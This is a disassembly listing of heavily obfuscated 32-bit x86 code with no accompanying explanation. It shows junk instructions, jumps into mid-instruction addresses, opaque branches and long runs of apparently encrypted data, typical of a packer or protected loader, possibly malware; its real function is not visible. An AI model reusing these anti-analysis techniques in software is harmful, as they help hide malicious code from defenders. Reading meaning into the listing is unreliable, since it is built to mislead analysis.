		mov	byte ptr [ebx+30h], 1
		dec	edx
		dec	ebp
		push	edx
		out	dx, al


loc_5D6432:				; CODE XREF: sub_5D63D4+4Fp
		xor	[edx-74999B46h], dl
sub_5D63D4	endp ; sp-analysis failed

		rcr	dword ptr [esi+59h], 1
		pusha
		add	bl, 86h
		call	near ptr loc_5D6455+2
		jz	short near ptr loc_5D6423+2
		loopne	near ptr loc_5D6455+4
		jo	short loc_5D63F0
		pop	edx
		mov	ch, 4Ah
		cmp	edx, ebp
		xchg	eax, edi
		push	edx
		rcr	byte ptr [esi-62h], 0CBh


loc_5D6455:				; CODE XREF: ud2_____:005D643Fp
					; ud2_____:005D6446j
		call	far ptr	0CA07h:0F3816670h
		pop	esi
		popa
		pusha
		call	loc_5D6474
		sbb	eax, 59FB0EF6h
		insd
		sub	eax, [ecx+5419BBFDh]
		dec	ebp
		lodsb
		jecxz	short loc_5D6482


loc_5D6474:				; CODE XREF: ud2_____:005D645Fp
		pusha
		popa
		pop	esi
		mov	dx, si
		popa
		jmp	near ptr loc_5D648F+1
; ---------------------------------------------------------------------------
		db 6, 81h
; ---------------------------------------------------------------------------


loc_5D6482:				; CODE XREF: ud2_____:005D6472j
		xchg	eax, edx
		popa
		xor	[esp+ebx*8+245E66A5h], edx
		fisubr	word ptr [eax]
		icebp
		xlat


loc_5D648F:				; CODE XREF: ud2_____:005D647Bj
		or	[esi-75h], ah
; ---------------------------------------------------------------------------
		dw 60FEh
; ---------------------------------------------------------------------------
		movsx	ecx, si
		mov	ax, cx
		popa
		push	eax
		jmp	loc_5D64A7
; ---------------------------------------------------------------------------
		db 70h,	6, 0D8h
		db 0ADh, 0CDh, 1Ch
; ---------------------------------------------------------------------------


loc_5D64A7:				; CODE XREF: ud2_____:005D649Cj
		pop	edx
		mov	al, 6Fh
		xor	dx, 1B6Dh
		mov	bh, 76h
		cmc
		jmp	loc_5D64CB
; ---------------------------------------------------------------------------
		db 0C4h
		dd 0DB40177Fh, 0E84F748Eh, 2A75BDF2h, 6E3A9AB5h
		db 5Ah,	0EDh, 0DFh
; ---------------------------------------------------------------------------


loc_5D64CB:				; CODE XREF: ud2_____:005D64B2j
		sub	dx, 0A6DCh
		mov	bx, 194Bh
		movzx	ecx, di
		jnp	loc_5D64EA
		pusha
		jg	$+6
		and	si, 81F3h
		popa


loc_5D64EA:				; CODE XREF: ud2_____:005D64D7j
		mov	ax, 209h
		movsx	ecx, ax
		call	sub_5D6503
		mov	bh, 54h
		adc	esp, [ecx-559E82B7h]
		dec	eax
		or	[edi], bl
		out	dx, al
; ---------------------------------------------------------------------------
		db 0DBh

; =============== S U B	R O U T	I N E =======================================



sub_5D6503	proc near		; CODE XREF: ud2_____:005D64F1p
		sbb	bx, 3479h
		pop	edx
		jnz	$+6
		mov	cx, ax
		jle	loc_5D651D
		mov	edi, 5E816B23h


loc_5D651D:				; CODE XREF: sub_5D6503+Fj
		push	ebx
		pop	esi
		ja	loc_5D6534
		jmp	loc_5D6534
; ---------------------------------------------------------------------------
		dw 8D15h
		dd 0D7DDE07Bh, 0EA48AC84h
; ---------------------------------------------------------------------------


loc_5D6534:				; CODE XREF: sub_5D6503+1Cj
					; sub_5D6503+22j
		mov	si, 917Eh
		cld
		jo	$+6
		and	bx, 70F1h
		pusha
		or	dh, 95h
		jmp	loc_5D655D
; ---------------------------------------------------------------------------
		db 7Fh,	24h, 69h
		dd 36AA0F6Eh, 0A5112F47h, 202D6759h
		db 0E5h
; ---------------------------------------------------------------------------


loc_5D655D:				; CODE XREF: sub_5D6503+45j
		popa
		mov	ch, 76h
		add	edx, 354F3D3Bh
		mov	si, bx
		ja	near ptr locret_5D657E+2
		call	near ptr loc_5D6578+4
		sbb	[esi], ebx
		dec	esi


loc_5D6578:				; CODE XREF: sub_5D6503+6Cp
		add	dh, [eax-40F07218h]
sub_5D6503	endp ; sp-analysis failed


locret_5D657E:				; CODE XREF: sub_5D6503+66j
		retn	0E85Eh
; ---------------------------------------------------------------------------
		db 0Eh,	2 dup(0)
		dd 0F8FBBF00h, 405679D7h, 922D9960h, 602DE595h,	810Fh
		dd 810F0000h, 0
		dd 0CB805B61h, 0BA6660DCh, 0BA61DE82h, 1393F05Ah, 9218D781h
		dd 8B6651F2h, 0F50B4F8h, 482h, 61606000h, 2860F61h, 8B000000h
		dd 5BE4B9FBh, 8B0F57EAh, 4, 84ACBF66h, 60F934B3h, 50FEB70Fh
		dd 615B6160h, 25820FF5h, 0E8000000h, 7,	0BC4F88EFh, 0E9924703h
		dd 13h,	0DA3AAEF5h, 26216C0h, 0E3BC2FFCh, 4AA6E01Eh, 5B37FB4Ch
		dd 4022BB66h, 36D38166h, 0B8E181E0h, 516A92CBh,	5ECF8B66h
		dd 6800Fh, 0F7810000h, 67E481CBh, 3850Fh, 0B70F0000h, 8D0FF1h
		dd 8A000000h, 0D88166DEh, 8166D17Ch, 66B045DAh,	0AE9C18Bh
		dd 46000000h, 2C1D1952h, 9D98FE00h, 4880F66h, 66000000h
		dd 0E8C5E1BBh, 10h, 6020C2EBh, 2E0DB1B9h, 0D60DE9D3h, 1F79FE43h
		dd 58F3B70Fh, 3870Fh, 0BF0F0000h, 6E8C1h, 5A550000h, 0A412AB42h
		dd 0BE85BFCh, 93000000h, 77A5CF49h, 51E58183h, 0F5577AA4h
		dd 8C0F5B5Fh, 2, 0BF0FDE8Bh, 12E9FEh, 57B60000h, 9145CF69h
		dd 0C799DA2Dh, 4D16F506h, 0CC11A4E6h, 8E97EB4h,	3B000000h
		dd 748D8466h, 0B816D044h, 17644938h, 2890Fh, 0D88B0000h
		dd 8E9F1B1h, 9A000000h,	8BCA91D8h, 0B27B4329h, 81E6B7D6h
		dd 0C33D0F0h, 0FC18B7Fh, 1884h,	128D0F00h, 0E8000000h
		dd 0Ch,	0B0D3C5Ah, 0B32479F5h, 0A75E7B73h, 2800F5Bh, 0B7000000h
		dd 850F90h, 0F8000000h,	0AE9h, 86BB700h, 3683F648h, 0B62EF5AEh
		dd 5800F3Bh, 66000000h,	507CE781h, 4830Fh, 0B8660000h
		dd 14E84F6Eh, 0EF000000h, 84F0BD4Fh, 9AF3EE67h,	9CDEB088h
		dd 6F7DD7CCh, 5AFBECECh, 8AD7B70Fh, 0FE9DEh, 91F10000h
		dd 19CF8D21h, 0F5C23E70h, 0F6A704AAh, 60C88A70h, 0CE8h
		dd 577B0A00h, 7898F354h, 9539518h, 5E616096h, 840FF560h
		dd 0
; ---------------------------------------------------------------------------
		popa
		popa
		jnz	loc_5D67B8
		mov	ax, 0A89Dh


loc_5D67B8:				; CODE XREF: ud2_____:005D67AEj
		mov	edi, esi
		jnb	$+6
		jnp	$+6
		mov	edx, eax
		and	bl, 0Eh
		clc
		mov	bx, 0C55Dh
		mov	si, 917Ah
		mov	dl, cl
		mov	dx, 1FA5h
		jmp	loc_5D67E6
; ---------------------------------------------------------------------------
		db 39h
		dd 98390842h
		db 0CEh, 0B3h
; ---------------------------------------------------------------------------


loc_5D67E6:				; CODE XREF: ud2_____:005D67DAj
		mov	bh, dh
		mov	eax, edi
		mov	cx, ax
		cld
		xor	bx, 0DB97h
		jno	loc_5D67FF
		adc	eax, 49C458D1h


loc_5D67FF:				; CODE XREF: ud2_____:005D67F3j
		jnb	loc_5D6809
		mov	ax, 0DD40h


loc_5D6809:				; CODE XREF: ud2_____:loc_5D67FFj
		movzx	eax, si
		push	edi
		call	near ptr loc_5D6815+2
		or	al, 16h
		setalc


loc_5D6815:				; CODE XREF: ud2_____:005D680Dp
		mov	es:5B5E5E52h, al
		adc	edi, 38D7F1BDh
		add	ax, 54D2h
		mov	esi, ebx
		push	edx
		sub	al, 7Eh
		pop	eax
		jg	loc_5D6839
		xor	ebx, 5343E88Bh	; CODE XREF: sub_5D687E+24j


loc_5D6839:				; CODE XREF: ud2_____:005D682Dj
		mov	dx, ax
		push	edi
		jmp	loc_5D6856
; ---------------------------------------------------------------------------
		dw 9983h
		dd 7563F7FEh, 5B94CF0h
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5D687E


loc_5D684C:				; CODE XREF: sub_5D687E+1Cj
		jnb	short loc_5D6873
		popa
		inc	edx
		and	al, ah
		dec	eax
		pop	esi
		push	ss
; END OF FUNCTION CHUNK	FOR sub_5D687E
; ---------------------------------------------------------------------------
		db 0E0h
; ---------------------------------------------------------------------------


loc_5D6856:				; CODE XREF: ud2_____:005D683Dj
		pop	ecx
		call	sub_5D686C
		or	dh, bh
		iret
; ---------------------------------------------------------------------------
		db 3
		dd 7EAB8EA8h, 0BF42E643h, 0ED778FBAh

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_5D686C	proc near		; CODE XREF: ud2_____:005D6857p
		jmp	sub_5D687E
sub_5D686C	endp

; ---------------------------------------------------------------------------
		mov	bh, 14h
; START	OF FUNCTION CHUNK FOR sub_5D687E


loc_5D6873:				; CODE XREF: sub_5D687E:loc_5D684Cj
		cmp	[ebp+5Ah], bh
; END OF FUNCTION CHUNK	FOR sub_5D687E
; ---------------------------------------------------------------------------
		dw 0E0DAh
		dd 0FC9EE942h
		db 0ABh, 84h

; =============== S U B	R O U T	I N E =======================================



sub_5D687E	proc near		; CODE XREF: sub_5D686Cj

; FUNCTION CHUNK AT 005D684C SIZE 00000009 BYTES
; FUNCTION CHUNK AT 005D6873 SIZE 00000003 BYTES

		pop	eax
		mov	di, 5A2Eh
		mov	edx, esi
		xor	edi, 56632362h
		jmp	loc_5D6895
; ---------------------------------------------------------------------------
		dd 8206FA7Ch
; ---------------------------------------------------------------------------
		push	es


loc_5D6895:				; CODE XREF: sub_5D687E+Dj
		call	sub_5D68A8
		jz	short loc_5D684C
		stosb
		icebp
		and	ebp, ebp
		mov	ah, 1Ch
		jnb	short near ptr loc_5D6833+3
		jmp	short near ptr loc_5D690F+2
sub_5D687E	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		cmp	al, 0ACh

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_5D68A8	proc near		; CODE XREF: sub_5D687E:loc_5D6895p
		jmp	sub_5D68BD
sub_5D68A8	endp

; ---------------------------------------------------------------------------
		db 52h,	6Ch, 17h
		dd 89EA13A7h, 0C4E8E129h, 1571B8B6h
		db 0B1h

; =============== S U B	R O U T	I N E =======================================



sub_5D68BD	proc near		; CODE XREF: sub_5D68A8j

; FUNCTION CHUNK AT 005D68DE SIZE 0000000B BYTES
; FUNCTION CHUNK AT 005D68FB SIZE 00000047 BYTES
; FUNCTION CHUNK AT 005D6950 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 005D696C SIZE 00000014 BYTES

		pop	esi
		mov	edi, 20F12E76h
		mov	eax, 64E0360Dh
		jnz	loc_5D68DE
		push	eax
		call	near ptr loc_5D68D4+8


loc_5D68D4:				; CODE XREF: sub_5D68BD+12p
		and	dword ptr [ebp+4ADD949h], 5F5FCF90h
sub_5D68BD	endp ; sp-analysis failed

; START	OF FUNCTION CHUNK FOR sub_5D68BD


loc_5D68DE:				; CODE XREF: sub_5D68BD+Bj
		xor	cx, 0F92h
		push	ecx
		jmp	loc_5D68FB
; END OF FUNCTION CHUNK	FOR sub_5D68BD
; ---------------------------------------------------------------------------
		db 72h,	21h, 28h
		dd 0BF2D6DAh, 49EA5320h, 6B1BA9B0h
; ---------------------------------------------------------------------------
		or	al, 3
		xchg	eax, edi
; START	OF FUNCTION CHUNK FOR sub_5D68BD


loc_5D68FB:				; CODE XREF: sub_5D68BD+27j
		pop	ebx
		movsx	edx, dx
		add	eax, 540979CBh
		mov	bx, 7FCDh
		cld
		mov	edx, 500AB173h


loc_5D690F:				; CODE XREF: sub_5D687E+26j
		mov	edx, 4075E589h
		sbb	esi, 72020C70h
		or	cl, 9Bh
		mov	ax, 0D116h
		mov	ebx, eax
		mov	di, 2D57h
		call	near ptr loc_5D6937+1
		add	eax, 21A476D1h
		stosb
		mov	[eax], ah
		mov	dh, 8Ch
		scasb


loc_5D6937:				; CODE XREF: sub_5D68BD+6Ap
		rep mov	ax, 0AF44h
		pop	edx
		jmp	loc_5D6950
; END OF FUNCTION CHUNK	FOR sub_5D68BD
; ---------------------------------------------------------------------------
		dw 0DD0Ah
		dd 0CDA7A149h, 902E789Eh, 0B769EFC9h
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5D68BD


loc_5D6950:				; CODE XREF: sub_5D68BD+80j
		push	esi
		pusha
		sbb	ax, 0B07h
		mov	cl, 0B7h
		popa
		pop	eax
		jmp	loc_5D696C
; END OF FUNCTION CHUNK	FOR sub_5D68BD
; ---------------------------------------------------------------------------
		dd 3558D701h, 7E3B7BFEh, 5D2C2853h
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5D68BD


loc_5D696C:				; CODE XREF: sub_5D68BD+9Ej
		adc	ax, 77DBh
		call	sub_5D6980
		xor	eax, 2F20D759h
		nop
		add	byte ptr [ebp+2Ch], 48h
; END OF FUNCTION CHUNK	FOR sub_5D68BD

; =============== S U B	R O U T	I N E =======================================



sub_5D6980	proc near		; CODE XREF: sub_5D68BD+B4p
		jge	loc_5D6988
		push	edx
		pop	eax


loc_5D6988:				; CODE XREF: sub_5D6980j
		pop	esi
		mov	ecx, esi
		movzx	ecx, cx
		mov	ch, 3Ah
		adc	bx, 591Bh
		mov	bx, cx
		jp	loc_5D69B6
		push	edi
		call	sub_5D69B4
		out	dx, al
		jmp	fword ptr [esi]
sub_5D6980	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 2Dh
		dd 0CE633A61h, 31371244h, 0C739F192h

; =============== S U B	R O U T	I N E =======================================



sub_5D69B4	proc near		; CODE XREF: sub_5D6980+1Fp
		pop	ebx
		pop	edx


loc_5D69B6:				; CODE XREF: sub_5D6980+18j
		js	loc_5D69C2
		xor	edi, 48D4E0AAh


loc_5D69C2:				; CODE XREF: sub_5D69B4:loc_5D69B6j
		or	al, 4Eh
		movsx	eax, di
		movsx	ecx, ax
		jmp	loc_5D69D8
; ---------------------------------------------------------------------------
		dd 66E304F6h, 201A48BCh
; ---------------------------------------------------------------------------


loc_5D69D8:				; CODE XREF: sub_5D69B4+17j
		jmp	loc_5D69ED
; ---------------------------------------------------------------------------
		db 86h,	0D7h, 47h
		dd 6FD9A36h, 0E364D103h, 22A91906h
; ---------------------------------------------------------------------------
		movsb


loc_5D69ED:				; CODE XREF: sub_5D69B4:loc_5D69D8j
		push	ebx
		jge	loc_5D69F9
		add	ax, 4AC0h


loc_5D69F9:				; CODE XREF: sub_5D69B4+3Aj
		pop	ebx
		movsx	eax, si
		jbe	loc_5D6A06
		mov	di, bx


loc_5D6A06:				; CODE XREF: sub_5D69B4+49j
		pusha
		sub	cl, 7Fh
		movzx	ebx, dx
		popa
		jle	loc_5D6A1A
		sub	esi, 2033BBB0h


loc_5D6A1A:				; CODE XREF: sub_5D69B4+5Aj
		stc
		and	dx, 0A3DFh
		push	esi
		sbb	bx, 0D916h
		pop	edi
		sbb	si, 3C8Fh
		jg	loc_5D6A35
		xor	bh, 0A1h


loc_5D6A35:				; CODE XREF: sub_5D69B4+78j
		mov	edi, ebx
		mov	ch, 0F3h
		jmp	loc_5D6A44
; ---------------------------------------------------------------------------
		dw 6E8Bh
		dd 76E494D9h
; ---------------------------------------------------------------------------


loc_5D6A44:				; CODE XREF: sub_5D69B4+85j
		mov	bl, 0EAh
		js	loc_5D6A57
		jns	loc_5D6A57
		and	cx, 63F4h


loc_5D6A57:				; CODE XREF: sub_5D69B4+92j
					; sub_5D69B4+98j
		jmp	loc_5D6A67
; ---------------------------------------------------------------------------
		dd 0A1FDD74Ch, 0F79EB293h
; ---------------------------------------------------------------------------
		add	dword ptr [ecx], 0FFFFFFDBh


loc_5D6A67:				; CODE XREF: sub_5D69B4:loc_5D6A57j
		jbe	loc_5D6A6E
		cmc


loc_5D6A6E:				; CODE XREF: sub_5D69B4:loc_5D6A67j
		adc	edx, 0C17DC98h
		movzx	edi, di
		sub	si, 0F182h
		jbe	loc_5D6A84
		mov	edx, edi


loc_5D6A84:				; CODE XREF: sub_5D69B4+C8j
		jmp	loc_5D6A95
; ---------------------------------------------------------------------------
		db 0EAh, 85h, 97h
; ---------------------------------------------------------------------------
		push	edi
		push	eax
		mov	al, 76h
		jnz	short loc_5D6AC7 ; CODE	XREF: ud2_____:005D6B09j
		mov	[edx], esp
		inc	esp


loc_5D6A95:				; CODE XREF: sub_5D69B4:loc_5D6A84j
		mov	si, ax
		jbe	loc_5D6AA1
		movsx	edx, di


loc_5D6AA1:				; CODE XREF: sub_5D69B4+E4j
		jmp	loc_5D6AAD
; ---------------------------------------------------------------------------
		dw 6AA1h
		dd 0E3B94210h
		db 0C5h
; ---------------------------------------------------------------------------


loc_5D6AAD:				; CODE XREF: sub_5D69B4:loc_5D6AA1j
		jmp	loc_5D6ABF
; ---------------------------------------------------------------------------
		dw 0E513h
; ---------------------------------------------------------------------------
		wait
		xchg	eax, ebp
		jz	short loc_5D6AE4
		mov	[ebx-7D26EB9Ah], ecx
		dec	edi


loc_5D6ABF:				; CODE XREF: sub_5D69B4:loc_5D6AADj
		mov	eax, 689B1E41h


loc_5D6AC4:				; CODE XREF: ud2_____:005D6B0Dj
		mov	cx, ax


loc_5D6AC7:				; CODE XREF: sub_5D69B4+DCj
		jmp	loc_5D6AD3
; ---------------------------------------------------------------------------
		mov	ah, bh
		mov	ch, 55h
		inc	esi
		mov	dl, 0F3h


loc_5D6AD3:				; CODE XREF: sub_5D69B4:loc_5D6AC7j
		movzx	edi, bx
		mov	edi, 2255C15Bh
		mov	si, dx
		or	esi, 7AAC3687h


loc_5D6AE4:				; CODE XREF: sub_5D69B4+102j
		call	near ptr loc_5D6AEC+4
		cmp	[edx+8], eax


loc_5D6AEC:				; CODE XREF: sub_5D69B4:loc_5D6AE4p
		cmp	[eax+44B3B3CEh], ebx
sub_5D69B4	endp ; sp-analysis failed

		pop	edx
		adc	eax, 6BE8205h
		jp	loc_5D6B03
		mov	si, 4833h


loc_5D6B03:				; CODE XREF: ud2_____:005D6AF9j
		call	sub_5D6B1C
		aaa
		jz	short near ptr loc_5D6A90+1
		sbb	bh, dh
		repne jecxz short loc_5D6AC4
		jp	short near ptr loc_5D6B6D+4
		sbb	[edx], dl
		mov	ds:2EBAFC7Fh, eax
		retn	0E05h

; =============== S U B	R O U T	I N E =======================================



sub_5D6B1C	proc near		; CODE XREF: ud2_____:loc_5D6B03p
		mov	dl, 62h
		pop	eax
		mov	edi, ecx
		sub	bx, 0A195h
		jmp	loc_5D6B3B
; ---------------------------------------------------------------------------
		db 0C9h
		dd 0BA1E9D40h, 57B59998h, 0E56F4C1Eh
		db 7Fh,	8Eh, 10h
; ---------------------------------------------------------------------------


loc_5D6B3B:				; CODE XREF: sub_5D6B1C+Aj
		xor	bl, 16h
		xor	edi, 187E73D1h
		mov	ecx, esi
		add	edx, 7CF53E6Ch
		add	esi, 734E90CAh
		pusha
		mov	bx, 0EEC8h
		call	near ptr loc_5D6B60+1
		sal	dl, 1
		mov	ch, 0F2h


loc_5D6B60:				; CODE XREF: sub_5D6B1C+3Bp
		test	al, 0E9h
sub_5D6B1C	endp ; sp-analysis failed

		add	eax, 0B6000000h
		lodsb
		mov	ds:6159FF18h, al


loc_5D6B6D:				; CODE XREF: ud2_____:005D6B10j
		jmp	loc_5D6B7E
; ---------------------------------------------------------------------------
		dw 8204h
		dd 7462880Ch, 0A82DFF03h
		db 88h,	8Eh
; ---------------------------------------------------------------------------


loc_5D6B7E:				; CODE XREF: ud2_____:loc_5D6B6Dj
		pusha
		call	sub_5D6B94
		ror	dword ptr [ecx+eax], 1
		push	cs
		dec	esp
		jg	short near ptr loc_5D6BB8+2
		cmp	ds:7F08288Fh, esp
		mov	ecx, esp
		xchg	eax, esp

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_5D6B94	proc near		; CODE XREF: ud2_____:005D6B7Fp
		jmp	sub_5D6BAD
sub_5D6B94	endp

; ---------------------------------------------------------------------------
		db 62h,	31h, 0D7h
		dd 0DBD9AF48h, 0E44ACE31h, 0D96755DCh, 9743A5E3h
; ---------------------------------------------------------------------------
		cmc

; =============== S U B	R O U T	I N E =======================================



sub_5D6BAD	proc near		; CODE XREF: sub_5D6B94j
		pop	eax
		mov	ebx, 733C0AD0h
		popa
		mov	ax, dx
		push	ecx


loc_5D6BB8:				; CODE XREF: ud2_____:005D6B89j
		jmp	loc_5D6BC8
; ---------------------------------------------------------------------------
		db 0D2h, 0A7h, 64h
		dd 4A26AE69h, 0DE2805CCh
; ---------------------------------------------------------------------------


loc_5D6BC8:				; CODE XREF: sub_5D6BAD:loc_5D6BB8j
		pop	ebx
		jbe	loc_5D6BD2
		mov	ax, cx


loc_5D6BD2:				; CODE XREF: sub_5D6BAD+1Cj
		mov	edx, ecx
		adc	ebx, 65A63CDCh
		jbe	loc_5D6BE1
		cmc


loc_5D6BE1:				; CODE XREF: sub_5D6BAD+2Dj
		movsx	edx, si
		clc
		push	eax
		mov	bx, di
		pop	ebx
		cld
		pusha
		call	near ptr loc_5D6BF3+5
		push	eax
		push	ebp


loc_5D6BF3:				; CODE XREF: sub_5D6BAD+3Fp
		xor	ebx, [ebx+esi*8-79F0EDA0h]
sub_5D6BAD	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		dw 0
		dd 0B9580000h, 1EE3B29Bh, 128CBA61h, 0F78A3945h, 5890Fh
		dd 43BA0000h, 66319E5Fh, 609AADBEh, 61D88BF8h, 0E9F1BF0Fh
		dd 0Ah,	1F9ECAC2h, 8A410924h, 0AE985A4h, 6000000h, 0AB5911FBh
		dd 90B7E403h, 89BF6638h, 4810F45h, 66000000h, 608E83B8h
		dd 3124AABAh, 61EE8A45h, 0F820Fh, 0AE90000h, 74000000h
		dd 75FDC3ECh, 976AC6Ah,	0CFB70F93h, 0E8C3BF0Fh,	0Bh, 3C4ED891h
		dd 4D7A5221h, 66666D02h, 593C87B8h, 5CDBB60h, 810F3DC7h
		dd 4, 76FFB866h, 0BE961h, 29280000h, 56DD1992h,	6CFF3C0Ch
		dd 8B5750D2h, 52585EC3h, 7478BB66h, 0B1F5FC5Ah,	11E86Ch
		dd 95600000h, 7575B66Bh, 0A033B972h, 4235C4FDh,	0E9478EACh
		dd 7, 0DDFAFD66h, 5BF22DF9h, 890Fh, 8B0F0000h, 10h, 7E8h
		dd 94768100h, 1838897Bh, 5ED7CC80h, 0D68B6660h,	14E8h
		dd 23E2E800h, 1F6DC559h, 543B39FDh, 0A079E9F7h,	0D1423883h
		dd 3BE980B5h, 0EE9615Ah, 0B6000000h, 3B1958BBh,	201F7A74h
		dd 41F32BE7h, 0A1C3BFCCh, 10E97C5Dh, 5C000000h,	0A15C3A20h
		dd 0EB79223Ch, 0E96E9B88h, 6660D992h, 0E87A00BFh, 0Eh
		dd 37F6546Ch, 0EC3325B5h, 0F0AE0B70h, 0B70F202Fh, 11E959C2h
		dd 0F7000000h, 7DA71181h, 0A9DBB13Fh, 9635604Ch, 492A51D3h
		dd 6616D480h, 669BAABEh, 81ED40BEh, 0F27E8CEBh,	739DBB55h
		dd 0FB8B4CB7h, 18D0Fh, 8BFC0000h, 602BAF3h, 0D38163C4h
		dd 192AB0D1h, 0FE9h, 45634700h,	2F89F8ADh, 3F4EED63h, 84A02498h
		dd 5810Fh, 2BBF0000h, 0BF3DCF23h, 13AA0A2Ch, 810FC18Ah
		dd 3, 66CE8B66h, 0C18BF08Bh, 6E9h, 0CB65DA00h, 0FC535FBBh
		dd 68A0Fh, 820F0000h, 0
; ---------------------------------------------------------------------------
		jmp	loc_5D6DFB
; ---------------------------------------------------------------------------
		db 10h,	33h, 69h
		db 93h,	0BAh, 3Bh
; ---------------------------------------------------------------------------


loc_5D6DFB:				; CODE XREF: ud2_____:005D6DF0j
		cmc
		jmp	loc_5D6E0B
; ---------------------------------------------------------------------------
		db 4Ah,	0F9h, 0BCh
		dd 0D28985h
		db 24h,	48h, 72h
; ---------------------------------------------------------------------------


loc_5D6E0B:				; CODE XREF: ud2_____:005D6DFCj
		and	cx, 0A455h
		ja	loc_5D6E18
		mov	edx, edi


loc_5D6E18:				; CODE XREF: ud2_____:005D6E10j
		jmp	loc_5D6E22
; ---------------------------------------------------------------------------
		db 24h,	8, 5Bh
		db 81h,	8Dh
; ---------------------------------------------------------------------------


loc_5D6E22:				; CODE XREF: ud2_____:loc_5D6E18j
		mov	ch, 0CFh
		mov	ebx, edx
		mov	dl, 5Eh
		pusha
		movzx	eax, di
		and	edx, 15B536D7h
		popa
		mov	cx, ax
		call	near ptr loc_5D6E45+6
		push	cs
		xchg	cl, [esi+ebx-0E8AB65h]
		xchg	eax, ecx
		inc	edi


loc_5D6E45:				; CODE XREF: ud2_____:005D6E36p
		adc	byte ptr [edx+72B00C2Ah], 0E8h
		adc	[eax], al
; ---------------------------------------------------------------------------
		dw 0
		dd 5EABAE94h, 0FA415917h, 15B74F09h, 35FC7027h,	5A586160h
		dd 50C28B66h, 5ECBC280h, 66C7BF0Fh, 0CE8C18Bh, 71000000h
		dd 72F6E92Ah, 82C654BCh, 80EFE146h, 0F58C4E3h, 388h, 0C78B6600h
		dd 0E4B71BBh, 0C8B70F44h, 2860Fh, 0C18B0000h, 12E8h, 2F074500h
		dd 0B02ACE51h, 642ABA40h, 73A593C2h, 8BEC3D45h,	840F58C7h
		dd 24h,	14E8h, 96B6AA00h, 0C6507D1Eh, 887941F6h, 41ECB229h
		dd 84922217h, 5E979h, 0A0070000h, 5A934341h, 0AE8h, 72E78100h
		dd 6F5DABC3h, 0F54538CCh, 5E85059h, 0DB000000h,	0CCA76ABEh
		dd 4000BF66h, 0D7B05A5Ah, 0F7B70F60h, 6E956h, 40420000h
		dd 73F78E9Ch, 0C38B615Ah, 0F94DC80h, 18Ah, 10E8F800h, 69000000h
		dd 179BEFCBh, 708C0CCh,	2415178h, 607E70D9h, 0DE8h, 0BEEB5700h
		dd 0DBA0217Ah, 0F1C840AEh, 665F2F77h, 0D46AE881h, 12E95A61h
		dd 0E9000000h, 0E92A7187h, 54BC72F6h, 0E14682C6h, 1C0E51EFh
		dd 6ABB66ADh, 81F9FCC4h, 0E7D7A3DFh, 0AE970h, 0A1CF0000h
		dd 454CDCADh, 455A330h,	0B663D981h, 98BB6EBAh, 0E9689738h
		dd 10h,	0BDD0718Dh, 0C9000D9Bh,	3F85827Fh, 9F86B349h, 0F833BE66h
		dd 0E979EC80h, 9, 0B12CFC39h, 555DA92Ah, 0B1BA665Eh, 0C9BF0F15h
		dd 9E9h, 29F12200h, 2D186079h, 816625DBh, 8B41EBC2h, 21F081FEh
		dd 806CC73Eh, 0F38BB1CBh, 11E8h, 6640AC00h, 66B54E43h
		dd 19A9CE6Eh, 0CA8E59BAh, 89B12872h, 0D8816658h, 12E99F50h
		dd 87000000h, 92921D5h,	0F1E5E19Ch, 0A806C06Ah,	0F4DE181Bh
		dd 3840FAEh, 66000000h,	0DF8BF88Bh, 10E8h, 6AFF4A00h, 0CF3B8A6Eh
		dd 68664787h, 843EDA00h, 0F55BF825h, 0C7816660h, 0CE984CEh
		dd 0AA000000h, 97F561AEh, 9D60A4C7h, 61B313FEh,	11E853h
		dd 20F30000h, 916E136Bh, 0B745AD00h, 0F7B0370Bh, 0E9F4CDF5h
		dd 7, 98C502B5h, 5904A58Ah, 0CAB70F5Bh,	0BF0FCB8Ah, 0DE8D3h
		dd 73BD0000h, 9F48275Dh, 3864987Fh, 53407B2Dh, 595FC28Ah
		dd 0E9FDD780h, 8, 1CD4284Bh, 58FB5F93h,	4B33D9BBh, 0BA29B454h
		dd 1A7F6571h, 0DE9h, 3B4FDD00h,	0D31ED412h, 5425BC19h
		dd 0BF0F8A49h, 0DDC280D9h, 10890Fh, 5E80000h, 38000000h
		dd 50F6C7C9h, 18D5B8B8h, 7E95E20h, 0AB000000h, 0FC85E22h
		dd 8B6603E4h, 0FD38BCFh, 985h, 3840F00h, 80000000h, 0B70F42CBh
		dd 11E9F6h, 2E290000h, 7D7F2AB7h, 0F0310587h, 54FC81C8h
		dd 0F908FA86h, 2B840Fh,	10E80000h, 0F9000000h, 9FF66CA3h
		dd 7F04421Dh, 0F0EAE857h, 0E9385A2Bh, 10h, 0EA64D265h
		dd 9B11AD14h, 0F40F5861h, 0A9D228E9h, 6870F5Fh,	60000000h
		dd 61606160h, 14E861h, 5B000000h, 8D9A6699h, 8BDA073Ah
		dd 0B7743699h, 43E44F20h, 0C78BF144h, 0F0816058h, 56801CB7h
		dd 0F61C28Bh, 384h, 0DFBF0F00h,	9380B966h, 0FA5C280h, 128Dh
		dd 0C860F00h, 0E9000000h, 7, 0CF10AD2Dh, 0E882B582h, 0Dh
		dd 584CE165h, 5F20010h,	0D53ACBFEh, 0F38166E6h,	0B95B87B6h
		dd 14EB6526h, 75F48053h, 0F88B6658h, 9E9h, 433DD200h, 0B356AAAFh
		dd 8B66A125h, 5890FD0h,	57000000h, 5E2CE380h, 0DA4ED981h
		dd 9E86A4Ch, 0C0000000h, 621A92D0h, 0A4B3279Eh,	59D8BF0Fh
		dd 38B0Fh, 0F9530000h, 0E8C68B59h, 10h,	6E1F889Fh, 0F7EBFE25h
		dd 9772F3C6h, 0C607366Ah, 47C98166h, 800F5F99h,	0Ch, 7E9h
		dd 0E1BEC000h, 7654ECF7h, 11E9h, 39CE7E00h, 0C75E1BB6h
		dd 571BB5B5h, 4A4F6674h, 0D381142Bh, 65450A9Bh,	7763E3BAh
		dd 0FABF0F5Ah, 0E9C28B66h, 12h,	56568778h, 61552E97h, 0B73BD212h
		dd 0BC0343B1h, 0CA811077h, 4101A967h, 4A2CDA81h, 0AE95DD2h
